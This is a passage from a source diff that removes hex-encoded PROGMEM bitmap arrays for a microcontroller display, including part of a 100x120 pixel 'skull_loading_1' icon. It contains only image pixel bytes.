0x01, 0xff, 0xff, 0xff, 0xff, 0xfe, 0x07, 0xc0, 0x00, 0x00, 0x03, 0xfe, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xfe, 0x07, 0x80, 0x00, - 0x00, 0x01, 0xfe, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xfe, - 0x07, 0x80, 0x00, 0x00, 0x00, 0xfe, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, - 0xff, 0xff, 0xfe, 0x07, 0x80, 0x00, 0x00, 0x00, 0xfe, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0xff, 0xff, 0xff, 0xff, 0xfe, 0x07, 0x80, 0x00, 0x00, 0x00, 0xfe, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xfe, 0x07, 0x80, 0x00, 0x00, 0x00, 0x7e, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xfe, 0x07, 0x80, 0x00, 0x00, - 0x00, 0x7e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xfe, 0x07, - 0xc0, 0x00, 0x00, 0x00, 0x7e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, - 0xff, 0xfe, 0x07, 0xc0, 0x00, 0x00, 0x00, 0x7e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xff, 0xff, 0xff, 0xff, 0xfe, 0x07, 0xc0, 0x00, 0x00, 0x00, 0xfe, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xfe, 0x07, 0xe0, 0x00, 0x00, 0x00, 0xfe, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0xff, 0xff, 0xff, 0xff, 0xfe, 0x07, 0xe0, 0x00, 0x00, 0x00, - 0xfe, 0xe0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1e, 0x7f, 0xff, 0xff, 0xff, 0xfe, 0x07, 0xf0, - 0x00, 0x00, 0x01, 0xfc, 0xf0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7e, 0x7f, 0xff, 0xc0, 0x7f, - 0xfe, 0x07, 0xf8, 0x00, 0x00, 0x01, 0xfc, 0xfc, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc1, 0xfe, 0x7f, - 0xff, 0x00, 0x3f, 0xfe, 0x07, 0xf8, 0x00, 0x00, 0x03, 0xfc, 0xff, 0x07, 0x80, 0x00, 0x00, 0x0f, - 0xff, 0xfe, 0x7f, 0xfe, 0x0e, 0x1f, 0xfe, 0x07, 0xfc, 0x00, 0x00, 0x03, 0xfc, 0xff, 0xff, 0xf0, - 0x00, 0x00, 0x3f, 0xff, 0xfe, 0x7f, 0xfc, 0x1f, 0x0f, 0xfe, 0x07, 0xfe, 0x00, 0x00, 0x07, 0xfc, - 0xff, 0xff, 0xfe, 0x00, 0x00, 0xff, 0xff, 0xfe, 0x7f, 0xfc, 0x7f, 0xc7, 0xfe, 0x07, 0xff, 0x00, - 0x00, 0x07, 0xf9, 0xff, 0xff, 0xff, 0x00, 0x01, 0xff, 0xff, 0xff, 0x3f, 0xfc, 0x7f, 0xe7, 0xfe, - 0x07, 0xff, 0x80, 0x00, 0x0f, 0xf9, 0xff, 0xff, 0xff, 0x80, 0x03, 0xff, 0xff, 0xff, 0x3f, 0xf8, - 0xff, 0xf3, 0xfe, 0x07, 0xff, 0xc0, 0x00, 0x1f, 0xf9, 0xff, 0xff, 0xff, 0xc0, 0x07, 0xff, 0xff, - 0xff, 0x3f, 0xf8, 0xff, 0xf1, 0xfe, 0x07, 0xff, 0xe0, 0x00, 0x3f, 0xf3, 0xff, 0xff, 0xff, 0xe0, - 0x0f, 0xff, 0xff, 0xff, 0x9f, 0xfc, 0xff, 0xf8, 0xfe, 0x07, 0xff, 0xf8, 0x00, 0xff, 0xf3, 0xff, - 0xff, 0xff, 0xf0, 0x0f, 0xff, 0xff, 0xff, 0x9f, 0xfc, 0xff, 0xfc, 0x7e, 0x07, 0xff, 0xfc, 0x03, - 0xff, 0xf3, 0xff, 0xff, 0xff, 0xf0, 0x1f, 0xff, 0xff, 0xff, 0xcf, 0xfc, 0x7f, 0xfe, 0x3e, 0x07, - 0xff, 0xff, 0xbf, 0xff, 0xe7, 0xff, 0xff, 0xff, 0xf8, 0x1f, 0xff, 0xff, 0xff, 0xcf, 0xfc, 0x7f, - 0xff, 0x1e, 0x07, 0xff, 0xff, 0xff, 0xff, 0xe7, 0xff, 0xfe, 0x3f, 0xf8, 0x3f, 0xf8, 0xff, 0xff, - 0xe7, 0xfe, 0x3f, 0xff, 0x9e, 0x07, 0xf0, 0xff, 0xff, 0xff, 0xcf, 0xff, 0xfc, 0x0f, 0xf8, 0x3f, - 0xe0, 0x3f, 0xff, 0xe3, 0xfe, 0x1f, 0xff, 0x8e, 0x07, 0xc0, 0x3f, 0xff, 0xff, 0xcf, 0xff, 0xf0, - 0x07, 0xf8, 0x3f, 0x80, 0x0f, 0xff, 0xf3, 0xff, 0x1f, 0xff, 0xc6, 0x07, 0x82, 0x1f, 0xff, 0xff, - 0x9f, 0xff, 0xe0, 0x01, 0xfc, 0x3f, 0x00, 0x07, 0xff, 0xf9, 0xff, 0x8f, 0xff, 0xe2, 0x07, 0x0f, - 0x0f, 0xff, 0xfe, 0x1f, 0xff, 0xe0, 0x00, 0x7c, 0x3c, 0x00, 0x07, 0xff, 0xe0, 0x7f, 0x87, 0xff, - 0xf0, 0x06, 0x3f, 0xc7, 0xff, 0xfc, 0x0f, 0xff, 0xe0, 0x00, 0x1c, 0x30, 0x00, 0x07, 0xff, 0x80, - 0x1f, 0xc3, 0xff, 0xf8, 0x0c, 0x7f, 0xe3, 0xff, 0xf0, 0x03, 0xff, 0xe0, 0x00, 0x08, 0x00, 0x00, - 0x07, 0xff, 0x00, 0x03, 0xe1, 0xff, 0xf8, 0x00, 0xff, 0xf1, 0xff, 0xc0, 0x01, 0xff, 0xe0, 0x00, - 0x00, 0x00, 0x00, 0x07, 0xff, 0x00, 0x00, 0xf0, 0xff, 0xfc, 0x01, 0xff, 0xf8, 0xfe, 0x00, 0x00, - 0xff, 0xe0, 0x00, 0x00, 0x00, 0x00, 0x07, 0xfe, 0x00, 0x00, 0x78, 0x7f, 0xfe, 0x03, 0xff, 0xf8, - 0xfc, 0x00, 0x00, 0xff, 0xf0, 0x00, 0x00, 0x00, 0x00, 0x1f, 0xfe, 0x00, 0x00, 0x1c, 0x7f, 0xff, - 0x0f, 0xff, 0xfc, 0xf8, 0x00, 0x00, 0xff, 0xf8, 0x00, 0x00, 0x00, 0x00, 0x3f, 0xfe, 0x00, 0x00, - 0x1e, 0x3f, 0xff, 0xdf, 0xff, 0xf8, 0xf0, 0x00, 0x00, 0x7f, 0xfe, 0x00, 0x00, 0x00, 0x00, 0xff, - 0xfc, 0x00, 0x00, 0x0f, 0x1f, 0xff, 0xff, 0xff, 0xf1, 0xe0, 0x00, 0x00, 0x7f, 0xff, 0x80, 0x00, - 0x00, 0x03, 0xff, 0xfc, 0x00, 0x00, 0x07, 0x8f, 0xff, 0xff, 0xff, 0xe1, 0xc0, 0x00, 0x00, 0x3f, - 0xff, 0xc0, 0x00, 0x00, 0x0f, 0xff, 0xf8, 0x00, 0x00, 0x07, 0xc7, 0xff, 0xff, 0xff, 0xc3, 0xc0, - 0x00, 0x00, 0x1f, 0xff, 0xf0, 0x00, 0x00, 0x1f, 0xff, 0xf0, 0x00, 0x00, 0x03, 0xe3, 0xff, 0xff, - 0xff, 0x87, 0x80, 0x00, 0x00, 0x0f, 0xff, 0xfc, 0x00, 0x00, 0x7f, 0xff, 0xe0, 0x00, 0x00, 0x03, - 0xf1, 0xff, 0xff, 0xff, 0x1f, 0x80, 0x00, 0x00, 0x07, 0xff, 0xfe, 0x00, 0x00, 0x7f, 0xff, 0xc0, - 0x00, 0x00, 0x01, 0xf8, 0xff, 0xff, 0xfc, 0x3f, 0x80, 0x00, 0x00, 0x01, 0xff, 0xfe, 0x00, 0x00, - 0x1f, 0xff, 0x00, 0x00, 0x00, 0x01, 0xfc, 0x7f, 0xff, 0xf8, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x7f, - 0xf8, 0x00, 0x00, 0x03, 0xf0, 0x00, 0x00, 0x00, 0x01, 0xfc, 0x3f, 0xff, 0xf0, 0xff, 0x00, 0x00, - 0x00, 0x00, 0x0f, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x7f, 0xff, 0xf0, - 0xfe, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, - 0xff, 0xff, 0xfc, 0x7e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x61, 0xff, 0xff, 0xfe, 0x1c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xff, 0xff, 0xff, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0f, 0xff, 0xff, 0xff, 0xc0, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1f, 0xff, 0xff, 0xff, 0xe0, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3f, 0xff, - 0xff, 0xff, 0xf0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x7f, 0xff, 0xff, 0xff, 0xf8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xcf, 0xff, 0xfc, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xff, 0xff, 0x87, 0xff, 0xfc, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xff, 0xfe, 0x01, 0xff, 0xfc, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0xff, 0xfc, 0x00, - 0xff, 0xf8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, - 0xff, 0xf8, 0x00, 0x3f, 0xf0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x01, 0xff, 0xe0, 0x00, 0x0f, 0xe0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00 -}; - -// 'skull_loading_1', 100x120px -const unsigned char bitmap_icon_skull_loading_1 [] PROGMEM = { - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x02, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, - 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x08, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x60, 0x08, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x40, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, - 0x08, 0x42, 0x1c, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x08, 0x60, 0x08, - 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x1a, 0x00, 0x00, 0x24, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0x03, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x01, 0x8c, 0x01, 0x00, 0x00, 0x08, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, - 0x10, 0x00, 0x22, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x61, - 0x00, 0xe2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x40, 0x00, 0xa3, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0xa0, 0x60, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x08, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x02, 0x00, 0x02, 0x00, 0x80, 0x08, 0xa0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, - 0x01, 0x80, 0x04, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x41, 0x00, 0x00, - 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x10, 0x00, 0x01, 0x20, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, - 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x08, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x92, 0x80, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x01, 0x02, 0x40, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x02, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, - 0x80, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x08, 0x00, 0x00, 0x00, 0x18, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x1a, 0x00, 0x24, 0x84, 0x80, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x61, 0x10, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x01, 0x8c, 0x60, 0x00, 0x62, 0x10, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x10, 0x00, - 0x00, 0x04, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x31, 0x00, 0x00, 0x08, 0x00, - 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x61, 0x80, 0x00, 0x18, 0x00, 0x38, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x10, 0x00, 0x10, 0x04, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x31, 0x84, 0x41, 0x00, 0x00, 0x08, 0xc2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x93, 0x08, - 0x12, 0x10, 0x82, 0x0c, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x98, 0x21, 0x84, - 0x04, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x01, 0x88, 0x43, 0x08, 0x02, 0x10, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x40, 0x02, 0x96, 0x10, 0x20, 0x20, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x84, 0x73, 0x0c, 0x40, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x84, 0x63, 0x0c, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x94, - 0x94, 0x20, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x21, 0x0c, 0x00, 0x40, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x01, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x51, 0x90, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x01, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x40, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x10, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x08, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, - 0x08, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x81, 0x80, 0x00, 0x00, 0x80, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, - 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x46, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0xc3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, - 0xc3, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x25, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0x00, 0x00, 0x00, 0x22, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x44, 0x00, 0x00, 0x01, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, - 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, - 0xa0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x80, 0x10, 0x00, 0xe7, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xc2, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x12, 0x52, 0x00, 0x25, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x0c, 0x60, 0x00, 0x63, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, - 0x60, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x1a, 0x00, 0x04, 0x80, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x08, 0x00, 0x08, 0xc0, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x03, 0x08, 0x00, 0x10, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x42, 0x08, 0x23, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, - 0x08, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0x10, 0x86, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0x0c, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x63, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x02, 0x42, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x03, 0x08, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 